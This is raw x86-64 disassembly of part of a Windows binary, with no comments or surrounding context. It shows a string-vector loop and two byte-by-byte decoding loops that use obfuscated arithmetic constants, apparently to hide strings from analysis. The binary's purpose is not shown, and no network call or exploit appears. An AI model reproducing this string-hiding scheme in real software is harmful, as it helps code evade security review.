mov rbx, qword [rbp + 0x1d0]
mov r14, qword [rbp + 0x1d8]
lea r15, [rbp + 0x201]
lea rsi, [rbp + 0xc0]
movaps xmm6, xmmword [0x140086d80]
xorps xmm7, xmm7
jmp 0x140025760
mov rcx, rsi
call fcn.1400686c0
test eax, eax
je 0x140025780
add rbx, 0x20
cmp rbx, r14
je 0x140025ae6
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x140025750
mov rdx, qword [rbx]
jmp 0x140025750
cmp byte [0x1400a72f8], 0
je 0x140025acc
movaps xmmword [rbp + 0x1f0], xmm6
mov byte [rbp + 0x200], 0x26
movups xmmword [r15 + 0xf], xmm7
movups xmmword [r15], xmm7
call fcn.1400372c0
mov r12, qword [rax]
call fcn.1400372d0
mov rcx, qword [rax]
xor eax, eax
jmp 0x14002580f
lea rdx, [rcx + 8]
cmp r12, rdx
jne 0x1400257a4
lea edx, [rax + 0x42037f4c]
lea r9d, [r8 + rax]
add r9d, 0x42037f4c
and edx, r8d
add edx, edx
sub r9d, edx
add r9b, 0xec
mov byte [rbp + rax + 0x1f0], r9b
inc r12
movzx edx, byte [rbp + r11 + 0x1ee]
add r11, 0xfffffffffffffffe
mov rax, r11
movzx edx, dl
add rax, rcx
add rax, rdx
inc rax
cmp rax, 0x30
jae 0x140025abb
mov r11, rax
sub r11, r12
jb 0x140025ab2
movzx edx, byte [rbp + rax + 0x1f0]
movzx r8d, dl
lea r9, [rcx + 1]
cmp r12, r9
jae 0x1400258a0
cmp rcx, rax
ja 0x140025ac0
lea r10, [r12 + rcx]
cmp r10, rax
jbe 0x1400258f0
lea rdx, [rcx + 2]
cmp r12, rdx
je 0x140025a50
lea rdx, [rcx + 0xa]
cmp r12, rdx
je 0x1400259f3
lea rdx, [rcx + 0x2a]
cmp r12, rdx
jne 0x1400257b8
lea r9d, [rax - 0x202b961a]
lea edx, [rax + r8]
add edx, 0xdfd469e6
and r9d, r8d
add r9d, r9d
sub edx, r9d
add dl, 0xb6
mov r12, r10
jmp 0x1400259df
je 0x1400257f9
lea r10, [rcx + 2]
cmp r12, r10
je 0x1400257c1
lea r10, [rcx + 3]
cmp r12, r10
jne 0x14002598c
lea r9d, [rax + 0x5ad59ff1]
lea edx, [rax + r8]
add edx, 0x5ad59ff1
and r9d, r8d
add r9d, r9d
sub edx, r9d
add dl, 0x69
jmp 0x1400259df
lea r11, [rcx + 0x2a]
cmp r12, r11
jae 0x140025922
lea r13d, [rax + 0x42fb4aa9]
lea r11d, [rax + r8]
add r11d, 0x42fb4aa9
and r13d, r8d
add r13d, r13d
sub r11d, r13d
add r11b, 0x61
cmp r12, r9
jne 0x140025953
jmp 0x140025a50
cmp r12, r9
je 0x1400257f9
lea r13d, [rax + 0x7e9d1fdd]
lea r11d, [rax + r8]
add r11d, 0x7e9d1fdd
and r13d, r8d
add r13d, r13d
sub r11d, r13d
add r11b, 0xf5
cmp r12, r9
je 0x140025a50
lea r13, [rcx + 2]
cmp r12, r13
je 0x140025a71
lea r9, [rcx + 5]
cmp r12, r9
jne 0x1400259f8
lea r9d, [rax + 0x19a84a31]
lea edx, [rax + r8]
add edx, 0x19a84a31
and r9d, r8d
add r9d, r9d
sub edx, r9d
add dl, 0xa9
jmp 0x1400259df
lea r10, [rcx + 5]
cmp r12, r10
jne 0x1400259ea
lea r9d, [rax + 0x66c2ca95]
lea edx, [rax + r8]
add edx, 0x66c2ca95
and r9d, r8d
add r9d, r9d
sub edx, r9d
add dl, 0xed
add r12, rcx
lea r9d, [rax + 0x79119f51]
lea r10d, [r8 + rax]
add r10d, 0x79119f51
and r9d, r8d
add r9d, r9d
sub r10d, r9d
add r10b, dl
add r10b, 0xc9
mov byte [rbp + rax + 0x1f0], r10b
movzx edx, dl
not rdx
jmp 0x1400257ff
lea r10, [rcx + 7]
cmp r12, r10
jne 0x140025a37
mov r9, rcx
jmp 0x140025a71
lea r9, [rcx + 9]
cmp r12, r9
je 0x1400257f9
cmp r12, 8
ja 0x140025a7c
lea rdx, [rcx + 3]
cmp r12, rdx
jne 0x140025aa5
lea r9d, [rax - 0x73a7c096]
lea edx, [rax + r8]
add edx, 0x8c583f6a
and r9d, r8d
add r9d, r9d
sub edx, r9d
add dl, 0x1a
jmp 0x1400259df
lea r10, [rcx + 6]
cmp r12, r10
jne 0x140025830
nop word cs:[rax + rax]
lea ecx, [rax - 0xce4f601]
lea edx, [r8 + rax]
add edx, 0xf31b09ff
and ecx, r8d
add ecx, ecx
sub edx, ecx
add dl, 7
mov byte [rbp + rax + 0x1f0], dl
dec rax
mov rcx, r9
jmp 0x140025802
lea r9d, [rax + 0x361654a8]
lea r11d, [rax + r8]
add r11d, 0x361654a8
and r9d, r8d
add r9d, r9d
sub r11d, r9d
add dl, r11b
add dl, 0x68
mov r12, r10
jmp 0x1400259b5
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x140025802
lea rcx, [rbp + 0x1517625]
jmp 0x140025ac7
mov rcx, rdi
jmp 0x140025ac7
lea rcx, [rbp + 0x1562b7c]
call fcn.14006a6f0
mov r12, qword [0x1400adc08]
call qword [0x1400adb98]
mov rcx, rax
xor edx, edx
call r12
jmp 0x14002575c
cmp byte [0x1400a72f8], 0
je 0x140025df5
movaps xmm0, xmmword [str.z_k]
movaps xmmword [rbp + 0x1f0], xmm0
mov dword [rbp + 0x200], 0x5b161003
mov qword [rbp + 0x204], 0
mov qword [rbp + 0x20a], 0
lea rsi, [rbp + 0x1f0]
call fcn.1400372c0
mov rdi, qword [rax]
call fcn.1400372d0
mov rcx, qword [rax]
xor eax, eax
jmp 0x140025bca
lea r8d, [rax + 0x3ede9a6e]
lea r9d, [rax + rdx]
add r9d, 0x3ede9a6e
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0xfe
mov byte [rbp + rax + 0x1f0], r9b
movzx r8d, r9b
not rcx
add rcx, rax
sub rcx, r8
mov rax, rcx
mov rcx, r10
lea r8d, [rax - 0x5ed12c8]
lea r9d, [rax + rdx]
add r9d, 0xfa12ed38
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0x78
mov byte [rbp + rax + 0x1f0], r9b
sub rax, rdi
inc rdi
movzx r8d, byte [rbp + rax + 0x1ee]
add rax, 0xfffffffffffffffe
movzx edx, r8b
add rax, rcx
add rax, rdx
inc rax
cmp rax, 0x22
jae 0x140025ded
cmp rdi, rax
ja 0x140025ddd
movzx r8d, byte [rbp + rax + 0x1f0]
movzx edx, r8b
lea r10, [rcx + 1]
cmp rdi, r10
jae 0x140025c40
cmp rcx, rax
ja 0x140025de6
lea r9, [rdi + rcx]
cmp r9, rax
jbe 0x140025c70
lea r8, [rcx + 6]
cmp rdi, r8
je 0x140025d83
lea r8, [rcx + 3]
cmp rdi, r8
jne 0x140025d49
lea r10d, [rax - 0x2c4a7c78]
lea r8d, [rax + rdx]
add r8d, 0xd3b58388
and r10d, edx
add r10d, r10d
sub r8d, r10d
add r8b, 0x48
jmp 0x140025d1d
je 0x140025bb3
lea r9, [rcx + 2]
cmp rdi, r9
je 0x140025b79
lea r9, [rcx + 6]
cmp rdi, r9
jne 0x140025be9
jmp 0x140025d80
lea ebx, [rax - 0x44cbad36]
lea r11d, [rax + rdx]
add r11d, 0xbb3452ca
and ebx, edx
add ebx, ebx
sub r11d, ebx
add r11b, 0x7a
cmp rdi, r10
jbe 0x140025cc9
lea ebx, [rax - 0x648845de]
lea r11d, [rax + rdx]
add r11d, 0x9b77ba22
and ebx, edx
add ebx, ebx
sub r11d, ebx
add r11b, 0x12
cmp rdi, 3
ja 0x140025cfb
cmp rdi, r10
je 0x140025bb3
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x140025bbd
jne 0x140025d77
lea ecx, [rax + 0x520d4f46]
lea r8d, [rax + rdx]
add r8d, 0x520d4f46
and ecx, edx
add ecx, ecx
sub r8d, ecx
add r8b, 0x16
mov byte [rbp + rax + 0x1f0], r8b
mov r10, rdi
jmp 0x140025d83
lea r10d, [rax + 0xd41a210]
lea r11d, [rax + rdx]
add r11d, 0xd41a210
and r10d, edx
add r10d, r10d
sub r11d, r10d
add r8b, r11b
add r8b, 0x90
lea r10d, [rax - 0x378a0b26]
lea r11d, [rax + rdx]
add r11d, 0xc875f4da
and r10d, edx
add r10d, r10d
sub r11d, r10d
add r11b, r8b
add r11b, 0xa
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x140025db9
lea r8, [rcx + 0xa]
cmp rdi, r8
jne 0x140025b28
lea r9d, [rax - 0x3f793150]
lea r8d, [rax + rdx]
add r8d, 0xc086ceb0
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x30
jmp 0x140025db6
lea rbx, [rcx + 2]
cmp rdi, rbx
jne 0x140025d8e
mov r10, rcx
dec rax
mov rcx, r10
jmp 0x140025bbd
lea rbx, [rcx + 5]
cmp rdi, rbx
jne 0x140025dcb
lea r9d, [rax + 0x61eb9b9a]
lea r8d, [rax + rdx]
add r8d, 0x61eb9b9a
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xca
mov r9, rdi
movzx edx, r8b
not rdx
add rax, rdx
mov rdi, r9
jmp 0x140025bbd
lea rbx, [rcx + 7]
cmp rdi, rbx
jne 0x140025cad
jmp 0x140025b3f
lea rsi, [rbp + 0x15bf472]
jmp 0x140025ded
lea rsi, [rbp + 0x167a1a8]
mov rcx, rsi
call fcn.14006a6f0
mov rsi, qword [rbp + 0x1d0]
test rsi, rsi
je 0x140025eb5
mov rdi, qword [rbp + 0x1d8]
cmp rsi, rdi
jne 0x140025e4b
jmp 0x140025e82
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14004fbac
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
add rsi, 0x20
cmp rsi, rdi
je 0x140025e7b
mov rax, qword [rsi + 0x18]
cmp rax, 0x10
jb 0x140025e2f
mov rcx, qword [rsi]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140025e2a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jb 0x140025e20
call fcn.140067e4c
mov rsi, qword [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1e0]
sub rdx, rsi
cmp rdx, 0x1000
jb 0x140025ead
mov rax, qword [rsi - 8]
add rsi, 0xfffffffffffffff8
sub rsi, rax
cmp rsi, 0x20
jae 0x140025e76
add rdx, 0x27
mov rsi, rax
mov rcx, rsi
call fcn.14004fbac
movaps xmm6, xmmword [rbp + 0x5b0]
movaps xmm7, xmmword [rbp + 0x5c0]
add rsp, 0x658
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140018730
mov byte [rbp + 0x5a7], 0
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x598], rax
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rdi
call fcn.140018730
mov byte [rbp + 0x5a7], 0
mov qword [rbp + 0x598], rbx
call fcn.140018730
int3